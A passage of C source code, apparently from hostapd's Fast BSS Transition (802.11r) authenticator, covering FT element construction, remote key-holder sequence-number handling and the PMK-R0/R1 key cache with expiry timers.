sta_addr, vlan); } static int wpa_ft_set_identity(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 *identity, size_t identity_len) { if (!wpa_auth->cb->set_identity) return -1; return wpa_auth->cb->set_identity(wpa_auth->cb_ctx, sta_addr, identity, identity_len); } static size_t wpa_ft_get_identity(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 **buf) { *buf = NULL; if (!wpa_auth->cb->get_identity) return 0; return wpa_auth->cb->get_identity(wpa_auth->cb_ctx, sta_addr, buf); } static int wpa_ft_set_radius_cui(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 *radius_cui, size_t radius_cui_len) { if (!wpa_auth->cb->set_radius_cui) return -1; return wpa_auth->cb->set_radius_cui(wpa_auth->cb_ctx, sta_addr, radius_cui, radius_cui_len); } static size_t wpa_ft_get_radius_cui(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 **buf) { *buf = NULL; if (!wpa_auth->cb->get_radius_cui) return 0; return wpa_auth->cb->get_radius_cui(wpa_auth->cb_ctx, sta_addr, buf); } static void wpa_ft_set_session_timeout(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, int session_timeout) { if (!wpa_auth->cb->set_session_timeout) return; wpa_auth->cb->set_session_timeout(wpa_auth->cb_ctx, sta_addr, session_timeout); } static int wpa_ft_get_session_timeout(struct wpa_authenticator *wpa_auth, const u8 *sta_addr) { if (!wpa_auth->cb->get_session_timeout) return 0; return wpa_auth->cb->get_session_timeout(wpa_auth->cb_ctx, sta_addr); } static int wpa_ft_add_tspec(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, u8 *tspec_ie, size_t tspec_ielen) { if (wpa_auth->cb->add_tspec == NULL) { wpa_printf(MSG_DEBUG, "FT: add_tspec is not initialized"); return -1; } return wpa_auth->cb->add_tspec(wpa_auth->cb_ctx, sta_addr, tspec_ie, tspec_ielen); } int wpa_write_mdie(struct wpa_auth_config *conf, u8 *buf, size_t len) { u8 *pos = buf; u8 capab; if (len < 2 + sizeof(struct rsn_mdie)) return -1; *pos++ = WLAN_EID_MOBILITY_DOMAIN; *pos++ = MOBILITY_DOMAIN_ID_LEN + 1; os_memcpy(pos, conf->mobility_domain, MOBILITY_DOMAIN_ID_LEN); pos += MOBILITY_DOMAIN_ID_LEN; capab = 0; if (conf->ft_over_ds) capab |= RSN_FT_CAPAB_FT_OVER_DS; *pos++ = capab; return pos - buf; } int wpa_write_ftie(struct wpa_auth_config *conf, int use_sha384, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *anonce, const u8 *snonce, u8 *buf, size_t len, const u8 *subelem, size_t subelem_len) { u8 *pos = buf, *ielen; size_t hdrlen = use_sha384 ? sizeof(struct rsn_ftie_sha384) : sizeof(struct rsn_ftie); if (len < 2 + hdrlen + 2 + FT_R1KH_ID_LEN + 2 + r0kh_id_len + subelem_len) return -1; *pos++ = WLAN_EID_FAST_BSS_TRANSITION; ielen = pos++; if (use_sha384) { struct rsn_ftie_sha384 *hdr = (struct rsn_ftie_sha384 *) pos; os_memset(hdr, 0, sizeof(*hdr)); pos += sizeof(*hdr); WPA_PUT_LE16(hdr->mic_control, 0); if (anonce) os_memcpy(hdr->anonce, anonce, WPA_NONCE_LEN); if (snonce) os_memcpy(hdr->snonce, snonce, WPA_NONCE_LEN); } else { struct rsn_ftie *hdr = (struct rsn_ftie *) pos; os_memset(hdr, 0, sizeof(*hdr)); pos += sizeof(*hdr); WPA_PUT_LE16(hdr->mic_control, 0); if (anonce) os_memcpy(hdr->anonce, anonce, WPA_NONCE_LEN); if (snonce) os_memcpy(hdr->snonce, snonce, WPA_NONCE_LEN); } /* Optional Parameters */ *pos++ = FTIE_SUBELEM_R1KH_ID; *pos++ = FT_R1KH_ID_LEN; os_memcpy(pos, conf->r1_key_holder, FT_R1KH_ID_LEN); pos += FT_R1KH_ID_LEN; if (r0kh_id) { *pos++ = FTIE_SUBELEM_R0KH_ID; *pos++ = r0kh_id_len; os_memcpy(pos, r0kh_id, r0kh_id_len); pos += r0kh_id_len; } if (subelem) { os_memcpy(pos, subelem, subelem_len); pos += subelem_len; } *ielen = pos - buf - 2; return pos - buf; } /* A packet to be handled after seq response */ struct ft_remote_item { struct dl_list list; u8 nonce[FT_RRB_NONCE_LEN]; struct os_reltime nonce_ts; u8 src_addr[ETH_ALEN]; u8 *enc; size_t enc_len; u8 *auth; size_t auth_len; int (*cb)(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer); }; static void wpa_ft_rrb_seq_free(struct ft_remote_item *item) { eloop_cancel_timeout(wpa_ft_rrb_seq_timeout, ELOOP_ALL_CTX, item); dl_list_del(&item->list); bin_clear_free(item->enc, item->enc_len); os_free(item->auth); os_free(item); } static void wpa_ft_rrb_seq_flush(struct wpa_authenticator *wpa_auth, struct ft_remote_seq *rkh_seq, int cb) { struct ft_remote_item *item, *n; dl_list_for_each_safe(item, n, &rkh_seq->rx.queue, struct ft_remote_item, list) { if (cb && item->cb) item->cb(wpa_auth, item->src_addr, item->enc, item->enc_len, item->auth, item->auth_len, 1); wpa_ft_rrb_seq_free(item); } } static void wpa_ft_rrb_seq_timeout(void *eloop_ctx, void *timeout_ctx) { struct ft_remote_item *item = timeout_ctx; wpa_ft_rrb_seq_free(item); } static int wpa_ft_rrb_seq_req(struct wpa_authenticator *wpa_auth, struct ft_remote_seq *rkh_seq, const u8 *src_addr, const u8 *f_r0kh_id, size_t f_r0kh_id_len, const u8 *f_r1kh_id, const u8 *key, size_t key_len, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int (*cb)(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer)) { struct ft_remote_item *item = NULL; u8 *packet = NULL; size_t packet_len; struct tlv_list seq_req_auth[] = { { .type = FT_RRB_NONCE, .len = FT_RRB_NONCE_LEN, .data = NULL /* to be filled: item->nonce */ }, { .type = FT_RRB_R0KH_ID, .len = f_r0kh_id_len, .data = f_r0kh_id }, { .type = FT_RRB_R1KH_ID, .len = FT_R1KH_ID_LEN, .data = f_r1kh_id }, { .type = FT_RRB_LAST_EMPTY, .len = 0, .data = NULL }, }; if (dl_list_len(&rkh_seq->rx.queue) >= ftRRBmaxQueueLen) { wpa_printf(MSG_DEBUG, "FT: Sequence number queue too long"); goto err; } item = os_zalloc(sizeof(*item)); if (!item) goto err; os_memcpy(item->src_addr, src_addr, ETH_ALEN); item->cb = cb; if (random_get_bytes(item->nonce, FT_RRB_NONCE_LEN) < 0) { wpa_printf(MSG_DEBUG, "FT: Seq num nonce: out of random bytes"); goto err; } if (os_get_reltime(&item->nonce_ts) < 0) goto err; if (enc && enc_len > 0) { item->enc = os_memdup(enc, enc_len); item->enc_len = enc_len; if (!item->enc) goto err; } if (auth && auth_len > 0) { item->auth = os_memdup(auth, auth_len); item->auth_len = auth_len; if (!item->auth) goto err; } eloop_register_timeout(ftRRBseqTimeout, 0, wpa_ft_rrb_seq_timeout, wpa_auth, item); seq_req_auth[0].data = item->nonce; if (wpa_ft_rrb_build(key, key_len, NULL, NULL, seq_req_auth, NULL, wpa_auth->addr, FT_PACKET_R0KH_R1KH_SEQ_REQ, &packet, &packet_len) < 0) { item = NULL; /* some other seq resp might still accept this */ goto err; } dl_list_add(&rkh_seq->rx.queue, &item->list); wpa_ft_rrb_oui_send(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_SEQ_REQ, packet, packet_len); os_free(packet); return 0; err: wpa_printf(MSG_DEBUG, "FT: Failed to send sequence number request"); if (item) { os_free(item->auth); bin_clear_free(item->enc, item->enc_len); os_free(item); } return -1; } #define FT_RRB_SEQ_OK 0 #define FT_RRB_SEQ_DROP 1 #define FT_RRB_SEQ_DEFER 2 static int wpa_ft_rrb_seq_chk(struct ft_remote_seq *rkh_seq, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, const char *msgtype, int no_defer) { const u8 *f_seq; size_t f_seq_len; const struct ft_rrb_seq *msg_both; u32 msg_seq, msg_off, rkh_off; struct os_reltime now; unsigned int i; RRB_GET_AUTH(FT_RRB_SEQ, seq, msgtype, sizeof(*msg_both)); wpa_hexdump(MSG_DEBUG, "FT: sequence number", f_seq, f_seq_len); msg_both = (const struct ft_rrb_seq *) f_seq; if (rkh_seq->rx.num_last == 0) { /* first packet from remote */ goto defer; } if (le_to_host32(msg_both->dom) != rkh_seq->rx.dom) { /* remote might have rebooted */ goto defer; } if (os_get_reltime(&now) == 0) { u32 msg_ts_now_remote, msg_ts_off; struct os_reltime now_remote; os_reltime_sub(&now, &rkh_seq->rx.time_offset, &now_remote); msg_ts_now_remote = now_remote.sec; msg_ts_off = le_to_host32(msg_both->ts) - (msg_ts_now_remote - ftRRBseqTimeout); if (msg_ts_off > 2 * ftRRBseqTimeout) goto defer; } msg_seq = le_to_host32(msg_both->seq); rkh_off = rkh_seq->rx.last[rkh_seq->rx.offsetidx]; msg_off = msg_seq - rkh_off; if (msg_off > 0xC0000000) goto out; /* too old message, drop it */ if (msg_off <= 0x40000000) { for (i = 0; i < rkh_seq->rx.num_last; i++) { if (rkh_seq->rx.last[i] == msg_seq) goto out; /* duplicate message, drop it */ } return FT_RRB_SEQ_OK; } defer: if (no_defer) goto out; wpa_printf(MSG_DEBUG, "FT: Possibly invalid sequence number in %s from " MACSTR, msgtype, MAC2STR(src_addr)); return FT_RRB_SEQ_DEFER; out: wpa_printf(MSG_DEBUG, "FT: Invalid sequence number in %s from " MACSTR, msgtype, MAC2STR(src_addr)); return FT_RRB_SEQ_DROP; } static void wpa_ft_rrb_seq_accept(struct wpa_authenticator *wpa_auth, struct ft_remote_seq *rkh_seq, const u8 *src_addr, const u8 *auth, size_t auth_len, const char *msgtype) { const u8 *f_seq; size_t f_seq_len; const struct ft_rrb_seq *msg_both; u32 msg_seq, msg_off, min_off, rkh_off; int minidx = 0; unsigned int i; RRB_GET_AUTH(FT_RRB_SEQ, seq, msgtype, sizeof(*msg_both)); msg_both = (const struct ft_rrb_seq *) f_seq; msg_seq = le_to_host32(msg_both->seq); if (rkh_seq->rx.num_last < FT_REMOTE_SEQ_BACKLOG) { rkh_seq->rx.last[rkh_seq->rx.num_last] = msg_seq; rkh_seq->rx.num_last++; return; } rkh_off = rkh_seq->rx.last[rkh_seq->rx.offsetidx]; for (i = 0; i < rkh_seq->rx.num_last; i++) { msg_off = rkh_seq->rx.last[i] - rkh_off; min_off = rkh_seq->rx.last[minidx] - rkh_off; if (msg_off < min_off && i != rkh_seq->rx.offsetidx) minidx = i; } rkh_seq->rx.last[rkh_seq->rx.offsetidx] = msg_seq; rkh_seq->rx.offsetidx = minidx; return; out: /* RRB_GET_AUTH should never fail here as * wpa_ft_rrb_seq_chk() verified FT_RRB_SEQ presence. */ wpa_printf(MSG_ERROR, "FT: %s() failed", __func__); } static int wpa_ft_new_seq(struct ft_remote_seq *rkh_seq, struct ft_rrb_seq *f_seq) { struct os_reltime now; if (os_get_reltime(&now) < 0) return -1; if (!rkh_seq->tx.dom) { if (random_get_bytes((u8 *) &rkh_seq->tx.seq, sizeof(rkh_seq->tx.seq))) { wpa_printf(MSG_ERROR, "FT: Failed to get random data for sequence number initialization"); rkh_seq->tx.seq = now.usec; } if (random_get_bytes((u8 *) &rkh_seq->tx.dom, sizeof(rkh_seq->tx.dom))) { wpa_printf(MSG_ERROR, "FT: Failed to get random data for sequence number initialization"); rkh_seq->tx.dom = now.usec; } rkh_seq->tx.dom |= 1; } f_seq->dom = host_to_le32(rkh_seq->tx.dom); f_seq->seq = host_to_le32(rkh_seq->tx.seq); f_seq->ts = host_to_le32(now.sec); rkh_seq->tx.seq++; return 0; } struct wpa_ft_pmk_r0_sa { struct dl_list list; u8 pmk_r0[PMK_LEN_MAX]; size_t pmk_r0_len; u8 pmk_r0_name[WPA_PMK_NAME_LEN]; u8 spa[ETH_ALEN]; int pairwise; /* Pairwise cipher suite, WPA_CIPHER_* */ struct vlan_description *vlan; os_time_t expiration; /* 0 for no expiration */ u8 *identity; size_t identity_len; u8 *radius_cui; size_t radius_cui_len; os_time_t session_timeout; /* 0 for no expiration */ /* TODO: radius_class, EAP type */ int pmk_r1_pushed; }; struct wpa_ft_pmk_r1_sa { struct dl_list list; u8 pmk_r1[PMK_LEN_MAX]; size_t pmk_r1_len; u8 pmk_r1_name[WPA_PMK_NAME_LEN]; u8 spa[ETH_ALEN]; int pairwise; /* Pairwise cipher suite, WPA_CIPHER_* */ struct vlan_description *vlan; u8 *identity; size_t identity_len; u8 *radius_cui; size_t radius_cui_len; os_time_t session_timeout; /* 0 for no expiration */ /* TODO: radius_class, EAP type */ }; struct wpa_ft_pmk_cache { struct dl_list pmk_r0; /* struct wpa_ft_pmk_r0_sa */ struct dl_list pmk_r1; /* struct wpa_ft_pmk_r1_sa */ }; static void wpa_ft_expire_pmk_r0(void *eloop_ctx, void *timeout_ctx); static void wpa_ft_expire_pmk_r1(void *eloop_ctx, void *timeout_ctx); static void wpa_ft_free_pmk_r0(struct wpa_ft_pmk_r0_sa *r0) { if (!r0) return; dl_list_del(&r0->list); eloop_cancel_timeout(wpa_ft_expire_pmk_r0, r0, NULL); os_memset(r0->pmk_r0, 0, PMK_LEN_MAX); os_free(r0->vlan); os_free(r0->identity); os_free(r0->radius_cui); os_free(r0); } static void wpa_ft_expire_pmk_r0(void *eloop_ctx, void *timeout_ctx) { struct wpa_ft_pmk_r0_sa *r0 = eloop_ctx; struct os_reltime now; int expires_in; int session_timeout; os_get_reltime(&now); if (!r0) return; expires_in = r0->expiration - now.sec; session_timeout = r0->session_timeout - now.sec; /* conditions to remove from cache: * a) r0->expiration is set and hit * -or- * b) r0->session_timeout is set and hit */ if ((!r0->expiration || expires_in > 0) && (!r0->session_timeout || session_timeout > 0)) { wpa_printf(MSG_ERROR, "FT: %s() called for non-expired entry %p", __func__, r0); eloop_cancel_timeout(wpa_ft_expire_pmk_r0, r0, NULL); if (r0->expiration && expires_in > 0) eloop_register_timeout(expires_in + 1, 0, wpa_ft_expire_pmk_r0, r0, NULL); if (r0->session_timeout && session_timeout > 0) eloop_register_timeout(session_timeout + 1, 0, wpa_ft_expire_pmk_r0, r0, NULL); return; } wpa_ft_free_pmk_r0(r0); } static void wpa_ft_free_pmk_r1(struct wpa_ft_pmk_r1_sa *r1) { if (!r1) return; dl_list_del(&r1->list); eloop_cancel_timeout(wpa_ft_expire_pmk_r1, r1, NULL); os_memset(r1->pmk_r1, 0, PMK_LEN_MAX); os_free(r1->vlan); os_free(r1->identity); os_free(r1->radius_cui); os_free(r1); } static void wpa_ft_expire_pmk_r1(void *eloop_ctx, void *timeout_ctx) { struct wpa_ft_pmk_r1_sa *r1 = eloop_ctx; wpa_ft_free_pmk_r1(r1); } struct wpa_ft_pmk_cache * wpa_ft_pmk_cache_init(void) { struct wpa_ft_pmk_cache *cache; cache = os_zalloc(sizeof(*cache)); if (cache) { dl_list_init(&cache->pmk_r0); dl_list_init(&cache->pmk_r1); } return cache; } void wpa_ft_pmk_cache_deinit(struct wpa_ft_pmk_cache *cache) { struct wpa_ft_pmk_r0_sa *r0, *r0prev; struct wpa_ft_pmk_r1_sa *r1, *r1prev; dl_list_for_each_safe(r0, r0prev, &cache->pmk_r0, struct wpa_ft_pmk_r0_sa, list) wpa_ft_free_pmk_r0(r0); dl_list_for_each_safe(r1, r1prev, &cache->pmk_r1, struct wpa_ft_pmk_r1_sa, list) wpa_ft_free_pmk_r1(r1); os_free(cache); } static int wpa_ft_store_pmk_r0(struct wpa_authenticator *wpa_auth, const u8 *spa, const u8 *pmk_r0, size_t pmk_r0_len, const u8 *pmk_r0_name, int pairwise, const struct vlan_description *vlan, int expires_in, int session_timeout, const u8 *identity, size_t identity_len, const u8 *radius_cui, size_t radius_cui_len) { struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; struct wpa_ft_pmk_r0_sa *r0; struct os_reltime now; /* TODO: add limit on number of entries in cache */ os_get_reltime(&now); r0 = os_zalloc(sizeof(*r0)); if (r0 == NULL) return -1; os_memcpy(r0->pmk_r0, pmk_r0, pmk_r0_len); r0->pmk_r0_len = pmk_r0_len; os_memcpy(r0->pmk_r0_name, pmk_r0_name, WPA_PMK_NAME_LEN); os_memcpy(r0->spa, spa, ETH_ALEN); r0->pairwise = pairwise; if (expires_in > 0) r0->expiration = now.sec + expires_in; if (vlan && vlan->notempty) { r0->vlan = os_zalloc(sizeof(*vlan)); if (!r0->vlan) { bin_clear_free(r0, sizeof(*r0)); return -1; } *r0->vlan = *vlan; } if (identity) { r0->identity = os_malloc(identity_len); if (r0->identity) { os_memcpy(r0->identity, identity, identity_len); r0->identity_len = identity_len; } } if (radius_cui) { r0->radius_cui = os_malloc(radius_cui_len); if (r0->radius_cui) { os_memcpy(r0->radius_cui, radius_cui, radius_cui_len); r0->radius_cui_len = radius_cui_len; } } if (session_timeout > 0) r0->session_timeout = now.sec + session_timeout; dl_list_add(&cache->pmk_r0, &r0->list); if (expires_in > 0) eloop_register_timeout(expires_in + 1, 0, wpa_ft_expire_pmk_r0, r0, NULL); if (session_timeout > 0) eloop_register_timeout(session_timeout + 1, 0, wpa_ft_expire_pmk_r0, r0, NULL); return 0; } static int wpa_ft_fetch_pmk_r0(struct wpa_authenticator *wpa_auth, const u8 *spa, const u8 *pmk_r0_name, const struct wpa_ft_pmk_r0_sa **r0_out) { struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; struct wpa_ft_pmk_r0_sa *r0; struct os_reltime now; os_get_reltime(&now); dl_list_for_each(r0, &cache->pmk_r0, struct wpa_ft_pmk_r0_sa, list) { if (os_memcmp(r0->spa, spa, ETH_ALEN) == 0 && os_memcmp_const(r0->pmk_r0_name, pmk_r0_name, WPA_PMK_NAME_LEN) == 0) { *r0_out = r0; return 0; } } *r0_out = NULL; return -1; } static int wpa_ft_store_pmk_r1(struct wpa_authenticator *wpa_auth, const u8 *spa, const u8 *pmk_r1, size_t pmk_r1_len, const u8 *pmk_r1_name, int pairwise, const struct vlan_description *vlan, int expires_in, int session_timeout, const u8 *identity, size_t identity_len, const u8 *radius_cui, size_t radius_cui_len) { struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; int max_expires_in = wpa_auth->conf.r1_max_key_lifetime; struct wpa_ft_pmk_r1_sa *r1; struct os_reltime now; /* TODO: limit on number of entries in cache */ os_get_reltime(&now); if (max_expires_in && (max_expires_in < expires_in || expires_in == 0)) expires_in = max_expires_in; r1 = os_zalloc(sizeof(*r1)); if (r1 == NULL) return -1; os_memcpy(r1->pmk_r1, pmk_r1, pmk_r1_len); r1->pmk_r1_len = pmk_r1_len; os_memcpy(r1->pmk_r1_name, pmk_r1_name, WPA_PMK_NAME_LEN); os_memcpy(r1->spa, spa, ETH_ALEN); r1->pairwise = pairwise; if (vlan && vlan->notempty) { r1->vlan = os_zalloc(sizeof(*vlan)); if (!r1->vlan) { bin_clear_free(r1, sizeof(*r1)); return -1; } *r1->vlan = *vlan; } if (identity) { r1->identity = os_malloc(identity_len); if (r1->identity) { os_memcpy(r1->identity, identity, identity_len); r1->identity_len = identity_len; } } if (radius_cui) { r1->radius_cui = os_malloc(radius_cui_len); if (r1->radius_cui) { os_memcpy(r1->radius_cui, radius_cui, radius_cui_len); r1->radius_cui_len = radius_cui_len; } } if (session_timeout > 0) r1->session_timeout = now.sec + session_timeout; dl_list_add(&cache->pmk_r1, &r1->list); if (expires_in > 0) eloop_register_timeout(expires_in + 1, 0, wpa_ft_expire_pmk_r1, r1, NULL); if (session_timeout > 0) eloop_register_timeout(session_timeout + 1, 0, wpa_ft_expire_pmk_r1, r1, NULL); return 0; } static int wpa_ft_fetch_pmk_r1(struct wpa_authenticator *wpa_auth, const u8 *spa, const u8 *pmk_r1_name, u8 *pmk_r1, size_t *pmk_r1_len, int *pairwise, struct vlan_description *vlan, const u8 **identity, size_t *identity_len, const u8 **radius_cui, size_t *radius_cui_len, int *session_timeout) { struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; struct wpa_ft_pmk_r1_sa *r1; struct os_reltime now; os_get_reltime(&now); dl_list_for_each(r1, &cache->pmk_r1, struct wpa_ft_pmk_r1_sa, list) { if (os_memcmp(r1->spa, spa, ETH_ALEN) == 0 && os_memcmp_const(r1->pmk_r1_name, pmk_r1_name, WPA_PMK_NAME_LEN) == 0) { os_memcpy(pmk_r1, r1->pmk_r1, r1->pmk_r1_len); *pmk_r1_len = r1->pmk_r1_len; if (pairwise) *pairwise = r1->pairwise; if (vlan && r1->vlan) *vlan = *r1->vlan; if (vlan && !r1->vlan) os_memset(vlan, 0, sizeof(*vlan)); if (identity && identity_len) { *identity = r1->identity; *identity_len = r1->identity_len; } if (radius_cui && radius_cui_len) { *radius_cui = r1->radius_cui; *radius_cui_len = r1->radius_cui_len; } if (session_timeout && r1->session_timeout > now.sec) *session_timeout = r1->session_timeout - now.sec; else if (session_timeout && r1->session_timeout) *session_timeout = 1; else *session_timeout = 0; return 0; } } return -1; } static int wpa_ft_rrb_init_r0kh_seq(struct ft_remote_r0kh *r0kh) { if (r0kh->seq) return 0; r0kh->seq = os_zalloc(sizeof(*r0kh->seq)); if (!r0kh->seq) { wpa_printf(MSG_DEBUG, "FT: Failed to allocate r0kh->seq"); return -1; } dl_list_init(&r0kh->seq->rx.queue); return 0; } static void wpa_ft_rrb_lookup_r0kh(struct wpa_authenticator *wpa_auth, const u8 *f_r0kh_id, size_t f_r0kh_id_len, struct ft_remote_r0kh **r0kh_out, struct ft_remote_r0kh **r0kh_wildcard) { struct ft_remote_r0kh *r0kh; *r0kh_wildcard = NULL; *r0kh_out = NULL; if (wpa_auth->conf.r0kh_list) r0kh = *wpa_auth->conf.r0kh_list; else r0kh = NULL; for (; r0kh; r0kh = r0kh->next) { if (r0kh->id_len == 1 && r0kh->id[0] == '*') *r0kh_wildcard = r0kh; if (f_r0kh_id && r0kh->id_len == f_r0kh_id_len && os_memcmp_const(f_r0kh_id, r0kh->id, f_r0kh_id_len) == 0) *r0kh_out = r0kh; } if (!*r0kh_out && !*r0kh_wildcard) wpa_printf(MSG_DEBUG, "FT: No matching R0KH found"); if (*r0kh_out && wpa_ft_rrb_init_r0kh_seq(*r0kh_out) < 0) *r0kh_out = NULL; } static int wpa_ft_rrb_init_r1kh_seq(struct ft_remote_r1kh *r1kh) { if (r1kh->seq) return 0; r1kh->seq = os_zalloc(sizeof(*r1kh->seq)); if (!r1kh->seq) { wpa_printf(MSG_DEBUG, "FT: Failed to allocate r1kh->seq"); return -1; } dl_list_init(&r1kh->seq->rx.queue); return 0; } static void wpa_ft_rrb_lookup_r1kh(struct wpa_authenticator *wpa_auth, const u8 *f_r1kh_id, struct ft_remote_r1kh **r1kh_out, struct ft_remote_r1kh **r1kh_wildcard) { struct ft_remote_r1kh *r1kh; *r1kh_wildcard = NULL; *r1kh_out = NULL; if (wpa_auth->conf.r1kh_list) r1kh = *wpa_auth->conf.r1kh_list; else r1kh = NULL; for (; r1kh; r1kh = r1kh->next) { if (is_zero_ether_addr(r1kh->addr) && is_zero_ether_addr(r1kh->id)) *r1kh_wildcard = r1kh; if (f_r1kh_id && os_memcmp_const(r1kh->id, f_r1kh_id, FT_R1KH_ID_LEN) == 0) *r1kh_out = r1kh; } if (!*r1kh_out && !*r1kh_wildcard) wpa_printf(MSG_DEBUG, "FT: No matching R1KH found"); if (*r1kh_out && wpa_ft_rrb_init_r1kh_seq(*r1kh_out) < 0) *r1kh_out = NULL; } static int wpa_ft_rrb_check_r0kh(struct wpa_authenticator *wpa_auth, const u8 *f_r0kh_id, size_t f_r0kh_id_len) { if (f_r0kh_id_len != wpa_auth->conf.r0_key_holder_len || os_memcmp_const(f_r0kh_id, wpa_auth->conf.r0_key_holder, f_r0kh_id_len) != 0) return -1; return 0; } static int wpa_ft_rrb_check_r1kh(struct wpa_authenticator *wpa_auth, const u8 *f_r1kh_id) { if (os_memcmp_const(f_r1kh_id, wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN) != 0) return -1; return 0; } static void wpa_ft_rrb_del_r0kh(void *eloop_ctx, void *timeout_ctx) { struct wpa_authenticator *wpa_auth = eloop_ctx; struct ft_remote_r0kh *r0kh, *prev = NULL; if (!wpa_auth->conf.r0kh_list) return; for (r0kh = *wpa_auth->conf.r0kh_list; r0kh; r0kh = r0kh->next) { if (r0kh == timeout_ctx) break; prev = r0kh; } if (!r0kh) return; if (prev) prev->next = r0kh->next; else *wpa_auth->conf.r0kh_list = r0kh->next; if (r0kh->seq) wpa_ft_rrb_seq_flush(wpa_auth, r0kh->seq, 0); os_free(r0kh->seq); os_free(r0kh); } static void wpa_ft_rrb_r0kh_replenish(struct wpa_authenticator *wpa_auth, struct ft_remote_r0kh *r0kh, int timeout) { if (timeout > 0) eloop_replenish_timeout(timeout, 0, wpa_ft_rrb_del_r0kh, wpa_auth, r0kh); } static void wpa_ft_rrb_r0kh_timeout(struct wpa_authenticator *wpa_auth, struct ft_remote_r0kh *r0kh, int timeout) { eloop_cancel_timeout(wpa_ft_rrb_del_r0kh, wpa_auth, r0kh); if (timeout > 0) eloop_register_timeout(timeout, 0, wpa_ft_rrb_del_r0kh, wpa_auth, r0kh); } static struct ft_remote_r0kh * wpa_ft_rrb_add_r0kh(struct wpa_authenticator *wpa_auth, struct ft_remote_r0kh *r0kh_wildcard, const u8 *src_addr, const u8 *r0kh_id, size_t id_len, int timeout) { struct ft_remote_r0kh *r0kh; if (!wpa_auth->conf.r0kh_list) return NULL; r0kh = os_zalloc(sizeof(*r0kh)); if (!r0kh) return NULL; if (src_addr) os_memcpy(r0kh->addr, src_addr, sizeof(r0kh->addr)); if (id_len > FT_R0KH_ID_MAX_LEN) id_len = FT_R0KH_ID_MAX_LEN; os_memcpy(r0kh->id, r0kh_id, id_len); r0kh->id_len = id_len; os_memcpy(r0kh->key, r0kh_wildcard->key, sizeof(r0kh->key)); r0kh->next = *wpa_auth->conf.r0kh_list; *wpa_auth->conf.r0kh_list = r0kh; if (timeout > 0) eloop_register_timeout(timeout, 0, wpa_ft_rrb_del_r0kh, wpa_auth, r0kh); if (wpa_ft_rrb_init_r0kh_seq(r0kh) < 0) return NULL; return r0kh; } static void wpa_ft_rrb_del_r1kh(void *eloop_ctx, void *timeout_ctx) { struct wpa_authenticator *wpa_auth = eloop_ctx; struct ft_remote_r1kh *r1kh, *prev = NULL; if (!wpa_auth->conf.r1kh_list) return; for (r1kh = *wpa_auth->conf.r1kh_list; r1kh; r1kh = r1kh->next) { if (r1kh == timeout_ctx) break; prev = r1kh; } if (!r1kh) return; if (prev) prev->next = r1kh->next; else *wpa_auth->conf.r1kh_list = r1kh->next; if (r1kh->seq) wpa_ft_rrb_seq_flush(wpa_auth, r1kh->seq, 0); os_free(r1kh->seq); os_free(r1kh); } static void wpa_ft_rrb_r1kh_replenish(struct wpa_authenticator *wpa_auth, struct ft_remote_r1kh *r1kh, int timeout) { if (timeout > 0) eloop_replenish_timeout(timeout, 0, wpa_ft_rrb_del_r1kh, wpa_auth, r1kh); } static struct ft_remote_r1kh * wpa_ft_rrb_add_r1kh(struct wpa_authenticator *wpa_auth, struct ft_remote_r1kh *r1kh_wildcard, const u8 *src_addr, const u8 *r1kh_id, int timeout) { struct ft_remote_r1kh *r1kh; if (!wpa_auth->conf.r1kh_list) return NULL; r1kh = os_zalloc(sizeof(*r1kh)); if (!r1kh) return NULL; os_memcpy(r1kh->addr, src_addr, sizeof(r1kh->addr)); os_memcpy(r1kh->id, r1kh_id, sizeof(r1kh->id)); os_memcpy(r1kh->key, r1kh_wildcard->key, sizeof(r1kh->key)); r1kh->next = *wpa_auth->conf.r1kh_list; *wpa_auth->conf.r1kh_list = r1kh; if (timeout > 0) eloop_register_timeout(timeout, 0, wpa_ft_rrb_del_r1kh, wpa_auth, r1kh); if (wpa_ft_rrb_init_r1kh_seq(r1kh) < 0) return NULL; return r1kh; } void wpa_ft_sta_deinit(struct wpa_state_machine *sm) { eloop_cancel_timeout(wpa_ft_expire_pull, sm, NULL); } static void wpa_ft_deinit_seq(struct wpa_authenticator *wpa_auth) { struct ft_remote_r0kh *r0kh; struct ft_remote_r1kh *r1kh; eloop_cancel_timeout(wpa_ft_rrb_seq_timeout, wpa_auth, ELOOP_ALL_CTX); if (wpa_auth->conf.r0kh_list) r0kh = *wpa_auth->conf.r0kh_list; else r0kh = NULL; for (; r0kh; r0kh = r0kh->next) { if (!r0kh->seq) continue; wpa_ft_rrb_seq_flush(wpa_auth, r0kh->seq, 0); os_free(r0kh->seq); r0kh->seq = NULL; } if (wpa_auth->conf.r1kh_list) r1kh = *wpa_auth->conf.r1kh_list; else r1kh = NULL; for (; r1kh; r1kh = r1kh->next) { if (!r1kh->seq) continue; wpa_ft_rrb_seq_flush(wpa_auth, r1kh->seq, 0); os_free(r1kh->seq); r1kh->seq = NULL; } } static void wpa_ft_deinit_rkh_tmp(struct wpa_authenticator *wpa_auth) { struct ft_remote_r0kh *r0kh, *r0kh_next, *r0kh_prev = NULL; struct ft_remote_r1kh *r1kh, *r1kh_next, *r1kh_prev = NULL; if (wpa_auth->conf.r0kh_list) r0kh = *wpa_auth->conf.r0kh_list; else r0kh = NULL; while (r0kh) { r0kh_next = r0kh->next; if (eloop_cancel_timeout(wpa_ft_rrb_del_r0kh, wpa_auth, r0kh) > 0) { if (r0kh_prev) r0kh_prev->next = r0kh_next; else *wpa_auth->conf.r0kh_list = r0kh_next; os_free(r0kh); } else { r0kh_prev = r0kh; } r0kh = r0kh_next; } if (wpa_auth->conf.r1kh_list) r1kh = 